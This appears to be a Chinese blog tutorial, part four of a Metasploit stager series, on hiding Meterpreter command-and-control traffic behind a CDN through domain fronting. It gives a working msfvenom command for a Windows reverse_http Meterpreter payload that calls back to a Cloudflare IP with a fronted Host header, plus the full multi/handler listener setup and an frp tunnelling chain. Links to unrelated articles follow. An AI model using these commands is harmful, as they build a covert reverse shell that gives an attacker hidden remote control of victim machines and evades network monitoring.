msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量
msf 中使用域前置技术隐藏流量
前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这篇文章只是半埋上我之前挖的一个坑,关于域前置技术如何在 msf 中进行应用。
域前置技术介绍
域前置技术(Domain-Fronting)顾名思义,把域名放在前面,流量的前面,那么我们应该如何做到这件事情,这个一般就是利用各大 cdn 服务了。
cdn 技术我不用做过多介绍,相信大家给自己的网站上 cdn 都会上,简略来说原理的话,在域名注册商那里把 ns 记录,也就是 dns 解析服务器指向到你选择的 cdn 服务商,然后 cdn 就可以接管你的域名解析了,通过不同的缓存分流策略,把流量经过他的服务器后再转发给我们自己,也就是 cdn 后面的真实ip我们是不容易找到的。
那么应用到 C2 上,我们 C2 服务器也可以挂在 cdn 后面,流量通过 cdn 转发回来。
具体更为详细的介绍可以参见 红队行动之鱼叉攻击-倾旋
基础配置
首先不管怎样你需要有一个服务器,以及一个加了 cdn 的域名执行你服务器
这里我假设我们持有的域名为 test.akkuman.com,域名配好 cdn 指向的服务器是 1.1.1.1
这里你是把服务器架在 msf 上面还是内网穿透打通端口,这个看自己喜好
我这里是 msf 位于其他地方 2.2.2.2,然后 2.2.2.2 的 5555 端口通过 frp 映射到 1.1.1.1 的 80 端口上。
5555 端口是我们待会 msf 监听的端口,80 端口是因为访问域名,http 协议,访问80。
因为这些流量会通过 cdn 先转发到我们主机上的 80 端口,然后 80 端口上的流量会通过 frp 处理后送到我们本机监听的 5555 端口上。
生成 msf payload
基础一些配置做好之后,我们可以生成 payload 了。
首先我们需要得到一个 cdn 的 ip,因为 cdn 是依靠 http header 中的 Host 头进行流量转发的,所以我们只需要 ping 一下我们加了 cdn 的域名即可获得一个 ip,这里我是用的 cloudflare,获得的一个 ip 为 172.67.207.124
msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe
这里 LHOST 为我们获取的 cdn ip,因为是 http 协议的 payload,访问域名是访问 80 端口,LPORT 我们设置为 80
HttpHostHeader 选项为这个生成的 payload 使用 http 协议回连到 cdn ip 时 http header 所使用的 Host 头,还记得我们刚才说的 cdn 如何识别域名进行流量转发吗,这个就主要是为了 cdn 能够把流量转回到我们自己的服务器
创建监听器
msf 在监听中有一些配置需要说明一下
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
首先 lhost 为给 payload 返回第二阶段载荷时填入的 ip 地址,即第二阶段会回连到这个 ip
lport 为给 payload 返回第二阶段载荷时填入的 port,即第二阶段会回连到这个端口
HttpHostHeader 前面说过,是 payload 回连到这个 ip 和 port 时在 http header 中填入的 Host 头
OverrideRequestHost 这个选项需要设置为 true,主要是因为 msf 的历史原因,msf 默认是使用传入请求 http header 中的 Host 字段来作为第二阶段的配置,也就是第二阶段会采用建立连接时传入请求的 Host,这种默认行为在大多数请求下没问题,具体可以自行测试,具体是需要 cdn 回连到我们真实 ip 时传递的域名是我们想要的,这个参数设置为 true 可以让 msf 忽略传入请求的 Host 头,而使用我们在 HttpHostHeader 中设置的
ReverseListenerBindAddress 和 ReverseListenerBindPort 参数主要是因为我的环境问题,我是通过 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那么 duck 不必这么做,直接监听 80 就好
ReverseListenerBindAddress 这个参数其实设置不设置都没关系,但是不设置的话会有个小报错,
[-] Handler failed to bind to 172.67.207.124:80
这是因为 handler 无法将 cdn 的 ip 绑定到LHOST,因为这个 ip 在我们服务器上不存在,绑定失败就会提示这个,然后继续绑定 0.0.0.0。如果想要在界面上不显示这个错误,需要设置 ReverseListenerBindAddress 为 0.0.0.0 或者 127.0.0.1 之类的
可以看到,当我们不设置 ReverseListenerBindAddress 和 ReverseListenerBindPort 时会出现上面的报错 Handler failed to bind to 172.67.207.124:80
也就是 handler 在本地上是希望监听 80 的,而 1.1.1.1:80 上面的流量是转发到我们服务器 (2.2.2.2) 本机的 5555 端口上的。
所以我们的监听程序实际上需要监听在 5555 端口上,所以需要设置 ReverseListenerBindPort 参数
上面的 lhost 和 lport 其实主要是为了第二阶段回送服务的。
实际效果
paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:随机端口] <-> 127.0.0.1:5555
可以看到不管是请求第二阶段还是后续的心跳包,都是有带上 Host 头,流经 cdn 服务器的,这样我们就达到了隐藏自身的效果
那么 msf 会话这边呢
可以看到,也是可以正常使用的
msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量的更多相关文章
- msf stagers开发不完全指北(二)
采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang ...
- msf stagers开发不完全指北(一)
采用c开发stagers 前言 之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stag ...
- 微信小程序云开发不完全指北
微信小程序云开发不完全指北 首先必须说明云开发的"云"并不是类似云玩家里的云的意思,而是微信小程序真的提供了云开发的接口以及一个简单的提供存储.数据库服务的虚拟后台(对于一些轻量小 ...
- ThinkPHP 3.2.x 集成极光推送指北
3.2版本已经过了维护生命周期,官方已经不再维护,请及时更新至5.0版本 -- ThinkPHP 官方仓库 以上,如果有条件,请关闭这个页面,然后升级至 ThinkPHP 5,如果由于各种各样的原因无 ...
- c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合,找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理(完全指北)
c#封装DBHelper类 public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...
- [转] iOS开发者的Weex伪最佳实践指北
[From] http://www.cocoachina.com/ios/20170601/19404.html 引子 这篇文章是笔者近期关于Weex在iOS端的一些研究和实践心得,和大家一起分享分享 ...
- VMware Workstation 安装以及Linux虚拟机安装 指北
最近有挺多小伙伴跟我说起虚拟机这个东西,所以,今天就给大家写一篇虚拟机安装使用指北吧. 虚拟机(英语:virtual machine),在计算机科学中的体系结构里,是指一种特殊的软件,可以在计算机平台 ...
- ASP.Net MVC开发基础学习笔记:四、校验、AJAX与过滤器
一.校验 — 表单不是你想提想提就能提 1.1 DataAnnotations(数据注解) 位于 System.ComponentModel.DataAnnotations 命名空间中的特性指定对数据 ...
- Python 简单入门指北(二)
Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...
随机推荐
- ORA-12514:监听程序无法识别
使用plsql远程登录oracle数据库时,出现无法识别监听程序的错误.很大机率是配置文件出错. 配置文件如下: listener.ora是服务器端用的,oracle监听程序,就是读的这个文件,里面有 ...
- Linux性能优化思路
性能测试的核心,就是找出性能瓶颈并进行性能优化,解决"慢"的问题,最终满足客户业务需求. [性能需求来源及性能问题现象] 性能需求的来源,主要分为以下几类: 项目组提出性能需求: ...
- Nginx具体配置(三)
一:Nginx配置实例 - 反向代理 实例一: 1.1:实现效果 在Windows浏览器地址栏中输入www.123.com,跳转到Linux系统中的tomcat主页面 访问Nginx:192.168. ...
- NodeJs将异步方法改为同步以上传文件为例
[本文版权归微信公众号"代码艺术"(ID:onblog)所有,若是转载请务必保留本段原创声明,违者必究.若是文章有不足之处,欢迎关注微信公众号私信与我进行交流!] 下面这个例子既写 ...
- Linux系统结构详解(转)
Linux系统一般有4个主要部分: 内核.shell.文件系统和应用程序.内核.shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序.管理文件并使用系统.部分层次结构如图1-1所 ...
- 明文暴露___JS前台加密,java后台解密实现
1.前台JS <script type="text/javascript"> $(function() { $("#btn").click(func ...
- tomcat中AJP协议和HTTP协议的区别
tomcat的server.xml中的AJP和HTTP连接器区别 HTTP协议:连接器监听8080端口,负责建立HTTP连接.在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器. ...
- 【原】二进制部署 k8s 1.18.3
二进制部署 k8s 1.18.3 1.相关前置信息 1.1 版本信息 kube_version: v1.18.3 etcd_version: v3.4.9 flannel: v0.12.0 cored ...
- springboot 之 根据传入参数进行多数据源动态切换
背景:最近有一个需求是根据app传来的请求参数,根据行政部门编码请求不同地区的数据,之前写的多数据源都是固定某个方法调用指定的dao然后查询不同的数据库,但是这次是需要根据前端传入参数进行动态区分数据 ...
- RS232/485通信方式 保存和加载时数据的处理
RS232/485通信方式 数据以RS232/485方式通信时,以0xA5作为开始码,以0xAE作为结束码.在开始码和结束码之间的0xA5, 0xAA, 0xAE数据需要进行转码. PC端发送数据时将 ...